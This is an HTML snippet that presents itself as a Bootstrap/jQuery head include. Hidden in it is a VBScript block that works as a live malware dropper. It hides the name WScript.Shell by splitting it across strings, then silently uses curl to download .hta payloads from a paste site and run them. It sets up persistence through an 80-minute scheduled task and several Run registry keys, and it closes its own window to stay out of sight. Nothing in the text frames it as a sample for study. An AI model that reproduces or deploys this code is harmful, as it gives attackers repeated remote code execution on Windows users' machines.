<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css"> <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!------ Include the above in your HEAD tag ----------> <script language="VBScript"> 'id1 ASDM1 = "WSc" ASDM2 = "rip" ASDM3 = "t.S" ASDM4 = "hell" xxx1 = ASDM1 xxx2 = ASDM2 xxx3 = ASDM3 xxx4 = ASDM4 ASDM = xxx1 + xxx2 + xxx3 + xxx4 set fullil = CreateObject(ASDM) fullil.Run "cmd /c curl --silent -o %appdata%/d1.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/d1.hta" ,0 fullil.RUn "schtasks /create /sc MINUTE /mo 80 /tn """"lunkicharkhi"""" /F /tr """"\""""mshta\""""vbscript:Execute(""\""CreateObject(""""\""""Wscript.Shell""""\"""").Run """"\""""cmd /c curl --silent -o %appdata%/task.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/task.hta""""\"""", 0 : window.close""\"")",0 'id2 fullil.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\crosscheck", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"cmd /c curl -o %appdata%/i2.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/i2.hta"""", 0 : window.close"")", "REG_SZ" 'id3 fullil.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"cmd /c curl -o %appdata%/i3.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/i3.hta"""", 0 : window.close"")", "REG_SZ" 'defid fullil.Run "cmd /c curl --silent -o %appdata%/def1.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/def1.hta" ,0 fullil.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\shuff", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"cmd /c curl -o %appdata%/DEF.hta https://paste.scratchbook.ch/view/raw/b4fdbe1c & %appdata%/DEF.hta"""", 0 : window.close"")", "REG_SZ" window.resizeTo 0, 0 self.close </script>